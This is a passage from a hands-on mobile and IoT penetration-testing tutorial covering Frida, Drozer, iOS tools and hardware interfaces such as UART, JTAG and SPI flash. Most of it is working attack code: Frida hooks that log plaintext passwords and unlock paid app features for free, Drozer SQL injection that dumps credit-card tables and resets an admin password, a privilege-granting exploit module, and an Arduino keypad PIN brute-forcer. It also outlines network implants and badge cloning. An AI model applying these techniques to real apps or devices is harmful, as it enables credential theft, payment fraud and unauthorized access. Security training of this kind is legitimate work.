# Create log_function.js to spy on any function: Java.perform(function() { var TargetClass = Java.use('com.example.app.auth.LoginManager'); // Hook the login method TargetClass.doLogin.overload('java.lang.String', 'java.lang.String').implementation = function(username, password) { console.log('[*] ===== doLogin() called ====='); console.log('[*] Username: ' + username); console.log('[*] Password: ' + password); // DANGER: This logs plaintext passwords! // Call the original method and capture return value var result = this.doLogin(username, password); console.log('[*] Return value: ' + result); console.log('[*] ==========================='); return result; // Pass through the original return value }; }); # Run it: frida -U -f com.example.app -l log_function.js --no-pause # When user logs in: # [*] ===== doLogin() called ===== # [*] Username: testuser@example.com # [*] Password: MySecretPass123 # [*] Return value: true # [*] =========================== # You just intercepted the login credentials!

Modifying Function Return Values

# Create bypass_premium_check.js: Java.perform(function() { var UserAccount = Java.use('com.example.app.model.UserAccount'); // Hook isPremiumUser method UserAccount.isPremiumUser.implementation = function() { console.log('[*] isPremiumUser() called'); // Original method would check subscription status // But we'll just return true! console.log('[*] Returning true (premium access granted)'); return true; }; // Hook getSubscriptionExpiry method UserAccount.getSubscriptionExpiry.implementation = function() { console.log('[*] getSubscriptionExpiry() called'); // Return a date far in the future var futureDate = Java.use('java.util.Date').$new(); futureDate.setYear(2099); // Subscription expires in 2099! console.log('[*] Returning subscription expiry: 2099'); return futureDate; }; console.log('[+] Premium bypass active - enjoy all features for free!'); }); # Now the app thinks you have a premium subscription!

Frida CLI Tools Reference

# frida-ps: List processes frida-ps -U # List all processes on USB device frida-ps -Ua # List only applications frida-ps -Uai # List installed applications (not just running) # frida: Attach and run scripts frida -U -n "App Name" # Attach to running app by name frida -U -f com.example.app # Spawn app with Frida attached frida -U -f com.example.app --no-pause # Spawn and don't pause at startup frida -U -p 1234 # Attach to process ID 1234 frida -U -f com.example.app -l script.js # Run script on spawn # frida-trace: Auto-generate hooks frida-trace -U -f com.example.app -j '*!*Login*' # -j = Java method pattern # '*!*Login*' = All classes, methods containing "Login" # Auto-generates hook scripts for each method! # Example: Trace all SSL-related methods: frida-trace -U -f com.example.app -j '*!*SSL*' # Trace specific class: frida-trace -U -f com.example.app -j 'com.example.app.MainActivity!*' # frida-discover: Discover app's classes and methods frida-discover -U com.example.app # frida-ls: List files accessible to app frida-ls -U com.example.app /data/data/com.example.app/ # frida-kill: Kill a process frida-kill -U com.example.app

🎉 Frida = Your Mobile App Superpowers!

You've learned how to:

✅ Bypass root detection → Run pentesting tools on production apps
✅ Bypass SSL pinning → Intercept HTTPS traffic with Burp Suite
✅ Hook any function → Log arguments, modify returns, change behavior
✅ Bypass premium checks → Test app features without paying
✅ Extract sensitive data → Capture passwords, tokens, API keys in memory

Frida is the most powerful tool for mobile dynamic analysis. Combine it with static analysis (APKTool, Jadx) and you can break almost any mobile app!

Practice challenges:
• Download InsecureBankv2 (intentionally vulnerable app)
• Try bypassing its root detection
• Hook the login function to log credentials
• Bypass premium features

Remember: Only test apps you have permission to test! 🚀

Part 6: Drozer - Android Security Assessment Framework

Drozer (formerly Mercury) is a comprehensive security audit and attack framework for Android. It finds and exploits vulnerabilities in Android apps and devices by simulating a malicious app trying to interact with target components.

💡 Drozer = Social Engineering for Android Apps

Think of Android apps as houses in a neighborhood. Some houses have unlocked windows (exported components), some leave their WiFi passwords written on the door (insecure data storage), some trust any visitor claiming to be the mailman (intent vulnerabilities).

Drozer is like a burglar doing reconnaissance:
• Finding entry points: Exported activities, services, broadcast receivers, content providers
• Testing locks: Checking if components require permissions
• Exploiting trust: Sending malicious intents to trigger unexpected behavior
• Stealing data: Querying content providers without authorization

Drozer automates the discovery and exploitation of these Android-specific vulnerabilities!

Installing Drozer

# Install Drozer on Kali: # (Drozer Python 3 fork) git clone https://github.com/WithSecureLabs/drozer.git cd drozer pip3 install . # Verify installation: drozer --version # Output: # drozer 3.0.0 # Download and install Drozer Agent APK on Android device: wget https://github.com/WithSecureLabs/drozer-agent/releases/download/3.0.0/drozer-agent.apk adb install drozer-agent.apk # Launch Drozer Agent app on your device # Tap "Embedded Server" toggle to start server # Default port: 31415

Connecting Drozer to Your Device

# Forward the Drozer port from device to your Kali machine: adb forward tcp:31415 tcp:31415 # Connect to the Drozer agent: drozer console connect # Output: # .. ..:. # ..o.. .r.. # ..a.. . ....... . ..nd # ro..idsnemesisand..pr # .otectorandroidsneme. # .,sisandprotectorandroids+. # ..nemesisandprotectorandroidsn:. # .emesisandprotectorandroidsnemes.. # ..isandp,..,rotectorandro,..,idsnem. # .isisandp..rotectorandroid..snemisis. # ,andprotectorandroidsnemisisandprotec. # .torandroidsnemesisandprotectorandroid. # .snemisisandprotectorandroidsnemesisan: # .dprotectorandroidsnemesisandprotector. # # drozer Console (v3.0.0) # dz> # You're now connected to the device!

Drozer Basic Commands - Information Gathering

# Inside Drozer console (dz>): # List all installed packages: dz> run app.package.list # Output: # com.android.browser # com.android.calendar # com.example.vulnerableapp # [hundreds more...] # Search for a specific app: dz> run app.package.list -f bank # Output: # com.bankofamerica.mobile # com.chase.banking # com.example.bankingapp # Get detailed info about a package: dz> run app.package.info -a com.example.vulnerableapp # Output: # Package: com.example.vulnerableapp # Process Name: com.example.vulnerableapp # Version: 1.0.0 # Data Directory: /data/user/0/com.example.vulnerableapp # APK Path: /data/app/com.example.vulnerableapp-xyz=/base.apk # UID: 10123 # GID: [3003, 1015, 1028] # Shared Libraries: null # Shared User ID: null # Permissions: # - android.permission.INTERNET # - android.permission.WRITE_EXTERNAL_STORAGE # - android.permission.READ_EXTERNAL_STORAGE

Identifying Attack Surface

# Find exported activities (can be launched by other apps): dz> run app.activity.info -a com.example.vulnerableapp # Output: # Package: com.example.vulnerableapp # com.example.vulnerableapp.MainActivity # Permission: null ← NO PERMISSION REQUIRED! # Exported: True ← ACCESSIBLE BY ANY APP! # com.example.vulnerableapp.SecretActivity # Permission: null # Exported: True ← VULNERABILITY! # Launch the secret activity: dz> run app.activity.start --component com.example.vulnerableapp com.example.vulnerableapp.SecretActivity # The secret activity opens! (Should have been protected) # Find exported services: dz> run app.service.info -a com.example.vulnerableapp # Output: # Package: com.example.vulnerableapp # com.example.vulnerableapp.AdminService # Permission: null # Exported: True ← ANY APP CAN START THIS! # Find broadcast receivers: dz> run app.broadcast.info -a com.example.vulnerableapp # Output: # Package: com.example.vulnerableapp # com.example.vulnerableapp.SMSReceiver # Permission: null # Exported: True # Send a broadcast to trigger it: dz> run app.broadcast.send --action android.provider.Telephony.SMS_RECEIVED # Find content providers (database interfaces): dz> run app.provider.info -a com.example.vulnerableapp # Output: # Package: com.example.vulnerableapp # com.example.vulnerableapp.UserProvider # Authority: com.example.vulnerableapp.users # Read Permission: null ← NO READ PERMISSION! # Write Permission: null ← NO WRITE PERMISSION! # Exported: True ← ANYONE CAN ACCESS DATABASE! # Grant URI Permissions: False

Exploiting Content Providers (SQL Injection)

# Content providers expose database queries to other apps # If not properly secured, they're vulnerable to SQL injection! # List accessible content URIs: dz> run scanner.provider.finduris -a com.example.vulnerableapp # Output: # Scanning com.example.vulnerableapp... # content://com.example.vulnerableapp.users/ # content://com.example.vulnerableapp.users/user # content://com.example.vulnerableapp.users/admin # Query the content provider: dz> run app.provider.query content://com.example.vulnerableapp.users/user # Output: # | _id | username | password | email | # |-----|---------------|----------------|----------------------| # | 1 | john_doe | password123 | john@example.com | # | 2 | admin | admin123 | admin@example.com | # | 3 | alice | mypassword | alice@example.com | # SQL Injection test - try to dump all data: dz> run app.provider.query content://com.example.vulnerableapp.users/user --selection "1=1" # If vulnerable, returns all records regardless of intended filter # Advanced SQL injection - extract database schema: dz> run app.provider.query content://com.example.vulnerableapp.users/user --projection "* FROM sqlite_master WHERE type='table'--" # Try to read other tables: dz> run app.provider.query content://com.example.vulnerableapp.users/user --projection "* FROM credit_cards--" # Output: # | _id | card_number | cvv | expiry | # |-----|-------------------|------|----------| # | 1 | 4532123456789012 | 123 | 12/25 | # | 2 | 5425233412341234 | 456 | 06/26 | # DATA BREACH! Credit cards exposed via SQL injection! # Try to modify data (if provider allows write): dz> run app.provider.update content://com.example.vulnerableapp.users/user --selection "_id=2" --string username admin --string password hacked123 # Changed admin password!

Automated Vulnerability Scanning

# Drozer has built-in scanners for common vulnerabilities: # Scan for all vulnerabilities in a package: dz> run scanner.misc.traverse -a com.example.vulnerableapp # Scans for path traversal vulnerabilities # Scan for native code issues: dz> run scanner.misc.native -a com.example.vulnerableapp # Scan for debug flags: dz> run app.package.debuggable # Output: # Package: com.example.vulnerableapp # Debuggable: True ← SECURITY ISSUE! # Scan for backup flags: dz> run app.package.backup # Output: # Package: com.example.vulnerableapp # Allows Backup: True ← Data can be extracted via adb backup! # Scan for shared UID: dz> run app.package.shareduid # Scan for SQL injection in all providers: dz> run scanner.provider.injection -a com.example.vulnerableapp # Output: # Scanning com.example.vulnerableapp... # Injection in Projection: # content://com.example.vulnerableapp.users/user # Vulnerable to projection-based SQL injection # # Injection in Selection: # content://com.example.vulnerableapp.users/user # Vulnerable to selection-based SQL injection # Scan for path traversal in providers: dz> run scanner.provider.traversal -a com.example.vulnerableapp # Scan for all exported components: dz> run scanner.activity.browsable -a com.example.vulnerableapp dz> run scanner.provider.finduris -a com.example.vulnerableapp

Creating a Proof-of-Concept Exploit

# Scenario: We found that com.example.vulnerableapp has: # 1. Exported activity that grants admin privileges # 2. No permission required # # Let's write a malicious APK to exploit it! # Create exploit.py (Drozer module): class Exploit(Module): name = "Exploit Vulnerable App" description = "Grant admin privileges via exported activity" def execute(self, arguments): # Launch the privileged activity intent = android.Intent() intent.setComponent( "com.example.vulnerableapp", "com.example.vulnerableapp.GrantAdminActivity" ) intent.putExtra("username", "attacker") intent.putExtra("grant_admin", True) self.getContext().startActivity(intent) self.stdout.write("[+] Admin privileges granted to 'attacker'!\n") # Save as ~/.drozer/modules/exploit.py # Run the exploit: dz> run exploit # Output: # [+] Admin privileges granted to 'attacker'! # # Exploitation successful! The attacker now has admin access.

Common Drozer Findings

Exported Components Without Permissions:
• Activities that can be launched by malicious apps
• Services that can be started/bound without authorization
• Broadcast receivers that process untrusted intents
• Content providers that expose sensitive data

SQL Injection in Content Providers:
• Projection-based injection (manipulate SELECT columns)
• Selection-based injection (manipulate WHERE clause)
• Allows reading arbitrary tables, modifying data

Path Traversal:
• Content providers that accept file paths as input
• Can read files outside app's directory (../../../etc/passwd)

Debug/Backup Flags:
• android:debuggable="true" in production
• android:allowBackup="true" (data can be extracted)

Remediation:
• Set android:exported="false" unless component MUST be accessible
• Require custom permissions for sensitive components
• Use parameterized queries (never string concatenation)
• Validate all input (paths, intents, query parameters)
• Disable debugging and backups in production builds

⚠️ iOS Pentesting: A Quick Overview

While this chapter focuses on Android, iOS pentesting has similar concepts but different tools:

iOS App Structure:
• IPA: iOS App Store Package (like APK for Android)
• Mach-O: iOS executable format (like DEX for Android)
• Plist: Property list files (like AndroidManifest.xml)

Key Tools:
• class-dump: Extract Objective-C headers from apps
• Clutch: Decrypt App Store encrypted apps (requires jailbreak)
• Hopper/Ghidra: Disassemble Mach-O binaries
• Frida: Works on iOS too! (requires jailbreak)
• Cycript: JavaScript/Objective-C hybrid console for runtime manipulation
• Burp Suite: Same HTTPS interception as Android

Key Differences:
• iOS apps are always encrypted by Apple (need jailbreak to decrypt)
• No easy "decompile to source" (Objective-C/Swift → assembly only)
• Sandbox is much stricter (harder to access other apps' data)
• Jailbreaking required for most pentesting tools

iOS Testing Workflow:
1. Jailbreak device: Use checkra1n, unc0ver, or Odyssey
2. Install Frida: Same process as Android
3. Decrypt IPA: Use Clutch or CrackerXI+
4. Static analysis: class-dump for headers, Hopper for disassembly
5. Dynamic analysis: Frida hooks, Cycript runtime manipulation
6. Traffic interception: Burp Suite + certificate pinning bypass

iOS pentesting is generally harder than Android due to Apple's restrictions, but the core vulnerabilities (hardcoded secrets, insecure crypto, logic flaws) are the same!

🎉 You're Now a Mobile Security Expert!

You've mastered the complete mobile pentesting toolkit:

✅ APKTool: Decompile, modify, recompile APKs
✅ Jadx: Decompile to readable Java code
✅ ADB: Complete control over Android devices
✅ MobSF: Automated security assessment
✅ Frida: Runtime manipulation and bypass techniques
✅ Drozer: Android-specific vulnerability discovery

Your Mobile Pentesting Workflow:
1. Acquisition: Download APK (from device, store, or APK mirror)
2. Static Analysis: Jadx (read code) + MobSF (auto-scan) + grep (search secrets)
3. Dynamic Analysis: ADB (logs, data) + Frida (hooks) + Burp Suite (traffic)
4. Exploitation: APKTool (modify & recompile) + Drozer (component attacks)
5. Reporting: Document findings with severity, impact, PoC, remediation

Practice Resources:
• InsecureBankv2: Intentionally vulnerable banking app
• DVIA: Damn Vulnerable iOS App
• OWASP MSTG: Mobile Security Testing Guide
• HackerOne/Bugcrowd: Real bug bounties for mobile apps

Mobile security is one of the fastest-growing fields in cybersecurity. With 5+ billion smartphones and countless apps, vulnerabilities are everywhere. Now go find them! 🚀📱

IoT & Hardware Hacking

Welcome to the physical layer of hacking—where software meets hardware, where invisible radio waves carry secrets, and where a $5 chip can break a $5,000 smart lock. IoT (Internet of Things) devices are EVERYWHERE: smart thermostats, security cameras, baby monitors, door locks, medical devices, industrial controllers. They're connected to the internet, often poorly secured, and contain vulnerabilities that traditional pentesting misses. In this section, you'll learn to speak the language of hardware: UART, JTAG, SPI, I2C. You'll extract firmware from chips, reverse engineer protocols, and exploit devices that don't even have keyboards. This is where hackers become hardware ninjas!

💡 IoT Hacking = Being a Doctor for Electronics

Imagine a smart lock is a patient. As a doctor, you need to:

• Examine externally: Look at the device, find ports, identify chips
• Take X-rays: Open the device, analyze the circuit board
• Read its DNA: Extract firmware from memory chips
• Listen to its heartbeat: Monitor serial communication (UART/SPI/I2C)
• Perform surgery: Solder wires, connect debugging interfaces
• Test reflexes: Send commands, observe responses

Hardware hacking requires patience, careful observation, and understanding how electronics communicate. But the rewards are huge—you can bypass security that software-only hackers can't touch!

Understanding Hardware Communication Protocols

Before you can hack IoT devices, you need to understand how their internal components communicate. Here are the four most common hardware protocols:

UART - Universal Asynchronous Receiver/Transmitter

What is UART?

UART is the most common serial communication protocol. It's how embedded devices talk to computers and each other.

Key characteristics:
• Asynchronous: No shared clock signal (devices agree on speed beforehand)
• Two wires: TX (transmit) and RX (receive) + GND (ground)
• Common speeds: 9600, 19200, 38400, 57600, 115200 baud (bits per second)
• Use case: Debug consoles, bootloader access, shell access

Why hackers love UART:
Many IoT devices have UART ports that give you a root shell! Manufacturers use them for debugging during development, then forget to disable them in production. Finding UART = instant access!

# UART has 3 main pins (sometimes 4): # # TX (Transmit) → Device sends data OUT # RX (Receive) → Device receives data IN # GND (Ground) → Common ground reference # VCC (Power) → Sometimes present (usually 3.3V or 5V) # # IMPORTANT: Connect TX of device to RX of your adapter! # Connect RX of device to TX of your adapter! # ALWAYS connect GND to GND! # # Visual diagram: # # Your USB-to-UART adapter: Target Device: # ┌────────────────┐ ┌──────────────┐ # │ TX ────────────┼──────────────┼───→ RX │ # │ RX ←───────────┼──────────────┼──── TX │ # │ GND ───────────┼──────────────┼──── GND │ # └────────────────┘ └──────────────┘ # Common UART devices you'll use: # • FTDI FT232 (USB to UART, ~$15) # • CP2102 module (~$5) # • PL2303 (~$3) # • Bus Pirate (multi-protocol, ~$35)

Finding UART on a Circuit Board

# Step 1: Open the device (unscrew, pry carefully) # Step 2: Look for suspicious pin headers # UART pins often appear as: # • 4 holes in a row (labeled or unlabeled) # • 4 solder pads # • Test points labeled J1, J2, JP1, etc. # • Sometimes labeled: TX, RX, GND, VCC or UART, Serial, Console # Step 3: Use a multimeter to identify pins # Finding GND (Ground): # Set multimeter to continuity mode (beep symbol) # Touch black probe to a known ground (USB shield, screw holes, large metal areas) # Touch red probe to each pin # The pin that beeps = GND # Finding VCC (Power): # Set multimeter to voltage mode (DC V) # Black probe on GND # Red probe on each remaining pin # Pin showing 3.3V or 5.0V = VCC # (Device must be powered on!) # Finding TX (Transmit): # Set multimeter to voltage mode # Black probe on GND # Red probe on remaining pins # Pin that shows fluctuating voltage when device boots = TX # (TX is constantly sending data during boot) # Finding RX (Receive): # Process of elimination: the last pin is RX # Or: RX usually stays at VCC level (3.3V or 5V) when idle # Pro tip: If you have an oscilloscope or logic analyzer, # connect to suspected TX pin and power on device. # You'll see data bursts during boot = confirmed TX!

Connecting to UART

# Using a USB-to-UART adapter (e.g., FTDI FT232): # 1. Physical connections: # Device GND → Adapter GND # Device TX → Adapter RX # Device RX → Adapter TX # (Do NOT connect VCC if device has its own power!) # 2. Plug adapter into your Kali machine # 3. Find the serial device: ls /dev/ttyUSB* # Output: # /dev/ttyUSB0 # Or: dmesg | grep tty # Output: # [12345.678] usb 1-1: FTDI USB Serial Device converter now attached to ttyUSB0 # 4. Determine baud rate (speed) # Common baud rates: 9600, 19200, 38400, 57600, 115200 # Try each until you see readable text! # 5. Connect with screen: screen /dev/ttyUSB0 115200 # Format: screen # # If you see garbage text, wrong baud rate! Try another. # If you see nothing, try pressing Enter or rebooting the device. # If you see clean boot messages = SUCCESS! # Alternative tools: # minicom: minicom -D /dev/ttyUSB0 -b 115200 # picocom: picocom -b 115200 /dev/ttyUSB0 # cu: cu -l /dev/ttyUSB0 -s 115200 # 6. Common UART outputs you'll see: # Example 1: Bootloader (U-Boot): # U-Boot 2020.04 (Jan 15 2024 - 12:34:56 +0000) # CPU: ARM Cortex-A7 # DRAM: 512 MiB # Hit any key to stop autoboot: 3... 2... 1... # # ← PRESS ENTER HERE TO INTERRUPT BOOT! # # => # ← You now have bootloader shell! # Example 2: Linux boot log: # [ 0.000000] Booting Linux on physical CPU 0x0 # [ 0.000000] Linux version 4.19.0 (root@buildserver) # [ 1.234567] Freeing unused kernel memory: 1024K # [ 2.345678] systemd[1]: Starting system... # # SmartDevice login: _ # ← You get a login prompt! # Example 3: Root shell (jackpot!): # # BusyBox v1.31.1 () built-in shell (ash) # Enter 'help' for a list of built-in commands. # # / # _ # ← Root shell without password!

⚠️ UART Voltage Levels - Don't Fry Your Device!

CRITICAL: IoT devices typically use 3.3V logic. Some USB-to-UART adapters use 5V. Connecting 5V to a 3.3V device = DEAD DEVICE!

Always check:
1. Measure VCC pin with multimeter
2. Configure your adapter for correct voltage (most FTDI adapters have a jumper)
3. Use a logic level shifter if mixing voltages

Safe rule: If VCC reads ~3.3V, your adapter MUST be in 3.3V mode!
Modern adapters: Many auto-detect voltage levels, but ALWAYS verify!

JTAG - Joint Test Action Group

What is JTAG?

JTAG is a debugging interface that gives you COMPLETE control over a processor. Originally designed for testing circuit boards, it's now used for programming chips and debugging firmware.

Key capabilities:
• Read/write memory: Dump firmware directly from chip
• Step through code: Debug firmware line by line
• Set breakpoints: Pause execution at specific addresses
• Flash firmware: Write modified firmware to device

Why hackers love JTAG:
JTAG bypasses all software security. Password protection? Irrelevant. Encryption? Can dump keys from memory. Locked bootloader? Can read firmware anyway.

Downside: Requires physical access, soldering skills, and expensive tools (but worth it!)

# JTAG has 4-5 main pins: # # TDI (Test Data In) → Data going TO the chip # TDO (Test Data Out) → Data coming FROM the chip # TCK (Test Clock) → Clock signal # TMS (Test Mode Select) → Control signal # TRST (Test Reset) → Reset signal (optional) # GND (Ground) → Common ground # VCC (Target Voltage) → Reference voltage (don't connect power!) # Common JTAG adapters: # • Bus Pirate (~$35, beginner-friendly) # • SEGGER J-Link (~$60 for EDU version) # • FTDI-based JTAG adapters (~$20) # • Black Magic Probe (~$70, pro-level) # Finding JTAG pins: # Look for: # • 10-pin, 14-pin, or 20-pin headers (standard JTAG connectors) # • Labeled pads: JTAG, TCK, TMS, TDI, TDO # • ARM processors often have 10-pin or 20-pin JTAG # Identifying JTAG pins with multimeter: # 1. Find GND (continuity test to metal chassis) # 2. Find VCC (measures 3.3V or 1.8V when powered) # 3. Remaining pins require logic analyzer or trial-and-error # Or use JTAGulator (~$150): # Automated tool that finds JTAG pins by testing all combinations!

Using OpenOCD with JTAG

# OpenOCD (Open On-Chip Debugger) is THE tool for JTAG # Install on Kali: sudo apt install openocd # Example: Connect to ARM Cortex-M3 chip using FTDI adapter # Step 1: Create config file (openocd.cfg): interface ftdi ftdi_vid_pid 0x0403 0x6014 ftdi_layout_init 0x0008 0x000b transport select jtag source [find target/stm32f1x.cfg] # Step 2: Run OpenOCD: openocd -f openocd.cfg # Output: # Open On-Chip Debugger 0.11.0 # Info : FTDI FT232H found # Info : clock speed 1000 kHz # Info : JTAG tap: stm32f1x.cpu tap/device found: 0x3ba00477 # Info : stm32f1x.cpu: hardware has 6 breakpoints, 4 watchpoints # Info : starting gdb server for stm32f1x.cpu on 3333 # Info : Listening on port 3333 for gdb connections # Step 3: Connect with GDB (in another terminal): arm-none-eabi-gdb # Inside GDB: (gdb) target remote localhost:3333 (gdb) monitor reset halt (gdb) monitor flash write_image erase firmware.bin 0x08000000 (gdb) monitor reset # You just flashed custom firmware via JTAG! # Step 4: Dump firmware from chip: # In OpenOCD telnet session: telnet localhost 4444 # Inside OpenOCD telnet: > halt > dump_image firmware_dump.bin 0x08000000 0x20000 # Dumps 128KB of firmware from address 0x08000000! # Common OpenOCD commands: # halt → Stop CPU # reset → Reset CPU # reset halt → Reset and stop # mdw
→ Read 32-bit word from memory # mww
→ Write 32-bit word to memory # dump_image → Dump memory region # load_image → Load file into memory # reg → Show all registers # step → Execute one instruction

SPI - Serial Peripheral Interface

What is SPI?

SPI is a synchronous serial protocol used for communicating with flash memory chips, sensors, and displays.

Key characteristics:
• 4 wires: MOSI, MISO, SCK, CS
• Synchronous: Has dedicated clock line
• Fast: Much faster than UART or I2C
• Common use: Flash memory chips (EEPROM, NOR flash)

Why hackers love SPI:
Many IoT devices store firmware on external SPI flash chips. You can desolder the chip, read it with a $10 programmer, extract firmware, modify it, and flash it back. Complete firmware control without JTAG!

# SPI has 4 main pins: # # MOSI (Master Out, Slave In) → Data from your tool to chip # MISO (Master In, Slave Out) → Data from chip to your tool # SCK (Serial Clock) → Clock signal # CS (Chip Select) → Enable this specific chip (active low) # GND (Ground) → Common ground # Common SPI flash chips: # • 25LC series (Microchip) # • AT25 series (Atmel) # • MX25L series (Macronix) # • W25Q series (Winbond) ← Very common! # Identifying SPI flash chips: # Look for 8-pin SOIC or WSON packages # Chip markings: W25Q128FV, MX25L3206E, etc. # First digits indicate family, last digits indicate size: # W25Q64 = 64 Mbit (8 MB) # W25Q128 = 128 Mbit (16 MB) # Reading SPI flash with CH341A programmer (~$5 on AliExpress): # Step 1: Identify chip pinout (look up datasheet) # Standard SOIC8 pinout: # ┌─────┐ # CS │1 8│ VCC # DO │2 7│ HOLD # WP │3 6│ CLK # GND │4 5│ DI # └─────┘ # Step 2: Place chip in programmer socket (or use test clip) # Step 3: Connect programmer to USB # Step 4: Use flashrom to read: flashrom -p ch341a_spi -r firmware_dump.bin # Output: # flashrom v1.2 # Calibrating delay loop... OK. # Found Winbond flash chip "W25Q128.V" (16384 kB, SPI) on ch341a_spi. # Reading flash... done. # Step 5: Analyze firmware: binwalk firmware_dump.bin strings firmware_dump.bin | grep -i password # Step 6: Modify firmware (e.g., remove password check) # [Use hex editor or recompile] # Step 7: Write modified firmware back: flashrom -p ch341a_spi -w modified_firmware.bin # Step 8: Resolder chip to board (or reconnect) # Device now runs your modified firmware!

I2C - Inter-Integrated Circuit

What is I2C?

I2C (pronounced "I-squared-C") is a two-wire communication protocol for connecting sensors, EEPROMs, and peripherals.

Key characteristics:
• 2 wires: SDA (data) and SCL (clock)
• Multi-master: Multiple devices on same bus
• Addressing: Each device has unique 7-bit address
• Slower: Typically 100-400 kHz

Why hackers love I2C:
I2C is used for configuration EEPROMs that store device settings, MAC addresses, encryption keys. You can read/write these without removing chips!

# I2C has 2 main pins (+ power): # # SDA (Serial Data) → Bidirectional data line # SCL (Serial Clock) → Clock signal # GND (Ground) → Common ground # VCC (Power) → Pull-up voltage (3.3V or 5V) # Common I2C devices: # • AT24C series EEPROMs (configuration storage) # • DS1307 RTC (real-time clock) # • BME280 (temperature/humidity sensor) # • OLED displays # Using Bus Pirate to scan I2C bus: # Connect Bus Pirate: screen /dev/ttyUSB0 115200 # Enter I2C mode: HiZ> m # Select: 4 (I2C) I2C> W # Power: ON I2C> P # Pull-ups: ON # Scan for I2C devices: I2C> (1) # Macro 1 = I2C bus scanner # Output: # Searching I2C address space. Found devices at: # 0x50 (0xA0 W) (0xA1 R) ← EEPROM detected! # 0x68 (0xD0 W) (0xD1 R) ← RTC detected! # Read from EEPROM at address 0x50: I2C> [0xA0 0x00 0x00 [0xA1 r:16] # Format breakdown: # [ = Start condition # 0xA0 = Device address (write mode) # 0x00 0x00 = Memory address to read from # [ = Repeated start # 0xA1 = Device address (read mode) # r:16 = Read 16 bytes # ] = Stop condition # Output (hex dump of EEPROM): # 0x48 0x65 0x6C 0x6C 0x6F 0x20 0x57 0x6F ... # (ASCII: "Hello World...") # Write to EEPROM: I2C> [0xA0 0x00 0x00 0x41 0x42 0x43] # Writes "ABC" to address 0x0000

Bus Pirate - The Universal Hardware Hacking Tool

Bus Pirate is a multi-protocol hardware debugging tool that speaks UART, SPI, I2C, JTAG, 1-Wire, and more. It's like a Swiss Army knife for hardware hacking!

# Bus Pirate v3.6 (~$35, v4 ~$50) # Buy from: Seeed Studio, Adafruit, SparkFun # Connect to Bus Pirate: screen /dev/ttyUSB0 115200 # Output: # HiZ> # Get help: HiZ> ? # Main modes: # 1. UART # 2. I2C # 3. SPI # 4. JTAG # 5. 1-Wire # 6. Raw wire (bitbang mode) # Example: Dump SPI flash with Bus Pirate # Enter SPI mode: HiZ> m # Select: 5 (SPI) SPI> 3 # Select speed: 3 (1 MHz) SPI> W # Power: ON # Read JEDEC ID from flash chip: SPI> [0x9F r:3] # Output: # 0xEF 0x40 0x18 # ← Winbond W25Q128 detected! # Dump first page (256 bytes): SPI> [0x03 0x00 0x00 0x00 r:256] # Command 0x03 = Read data # Address: 0x000000 # Read: 256 bytes # Bus Pirate pin assignments: # Pin 1: GND # Pin 2: +3.3V (output) # Pin 3: +5V (output) # Pin 4: ADC (voltage measurement) # Pin 5-10: Protocol-specific (changes per mode) # UART mode (pins 5-10): # Pin 7: TX (transmit) # Pin 8: RX (receive) # SPI mode (pins 5-10): # Pin 5: CS (chip select) # Pin 6: MISO (data in) # Pin 7: CLK (clock) # Pin 8: MOSI (data out) # I2C mode (pins 5-10): # Pin 7: SDA (data) # Pin 8: SCL (clock) # Measure voltage on a pin: HiZ> v # Shows voltage on ADC pin (Pin 4)

Arduino & Raspberry Pi as Hacking Tools

Arduino for Hardware Attacks

# Arduino can be used for: # • Brute-forcing PIN codes # • Replay attacks (capturing and replaying RF signals) # • BadUSB attacks (act as malicious keyboard/mouse) # • Protocol fuzzing # • Custom hardware implants # Example: Arduino-based PIN brute-forcer for keypads # Hardware needed: # • Arduino Uno ($25) # • Relay module ($5) # • Jumper wires # Arduino sketch (PIN_Bruteforce.ino): void setup() { // Set pins 2-5 as outputs (connected to keypad buttons) pinMode(2, OUTPUT); // Button 1 pinMode(3, OUTPUT); // Button 2 pinMode(4, OUTPUT); // Button 3 pinMode(5, OUTPUT); // Button 4 Serial.begin(9600); } void pressButton(int button, int duration) { digitalWrite(button, HIGH); // Press button delay(duration); digitalWrite(button, LOW); // Release button delay(200); } void enterPIN(int pin) { String pinStr = String(pin); for (int i = 0; i < pinStr.length(); i++) { int digit = pinStr.charAt(i) - '0'; pressButton(digit + 2, 100); // Press corresponding button delay(200); } pressButton(6, 100); // Press ENTER button delay(2000); // Wait for response } void loop() { Serial.println("Starting PIN brute-force: 0000-9999"); for (int pin = 0; pin <= 9999; pin++) { Serial.print("Trying: "); Serial.println(pin); enterPIN(pin); // Check if access granted (monitor LED or use light sensor) // If successful, stop and alert delay(500); // Prevent rate limiting } } # This will try all 10,000 PINs automatically! # At 3 seconds per attempt = ~8 hours for full range

Raspberry Pi for Advanced Attacks

# Raspberry Pi can run full Kali Linux! # Perfect for: # • Portable pentesting platform # • Wireless attacks (with USB WiFi adapter) # • Network implants (drop box) # • Automated exploitation # • Man-in-the-middle attacks # Install Kali on Raspberry Pi: # Download: https://www.kali.org/get-kali/#kali-arm # Flash to SD card: dd if=kali-linux-2024.1-raspberry-pi-arm64.img of=/dev/sdX bs=4M status=progress # Default credentials: # Username: kali # Password: kali # Use cases: # 1. WiFi Pineapple alternative: # Set up rogue access point with hostapd # Capture credentials with Responder # 2. Network implant: # Hide Raspberry Pi in target network # VPN back to your C2 server # Pivot into internal network # 3. Physical pentesting tool: # Battery pack + Pi + USB ethernet adapter # Plug into network jack # Automatic nmap scan and exploitation # 4. RFID/NFC cloning: # Connect PN532 NFC module # Clone access badges # 5. SDR (Software Defined Radio): # Connect RTL-SDR dongle # Capture 433 MHz signals (garage doors, car keys) # Analyze and replay

Firmware Extraction & Analysis

Method 1: Dumping Firmware via UART/JTAG

# If you have bootloader access via UART: # U-Boot example: => md 0x80000000 0x100000 # Reads 1MB from address 0x80000000 # Copy output (hex dump) to file # Or use loadb/loady to transfer via YMODEM: => loady 0x80000000 # In your terminal: Ctrl+A, then :exec !! sz firmware.bin # If you have JTAG access: # Use OpenOCD (shown earlier): telnet localhost 4444 > dump_image firmware.bin 0x00000000 0x200000 # Dumps 2MB from start of flash

Method 2: Reading Flash Chip Directly

# Desolder flash chip or use test clip # Using flashrom with CH341A programmer: flashrom -p ch341a_spi -r firmware.bin # Using Bus Pirate: # (More complex, requires Python script) python flashrom.py --read firmware.bin # Using logic analyzer + sigrok: # Capture SPI traffic during boot # Reconstruct firmware from captured data

Method 3: Extracting from Update Files

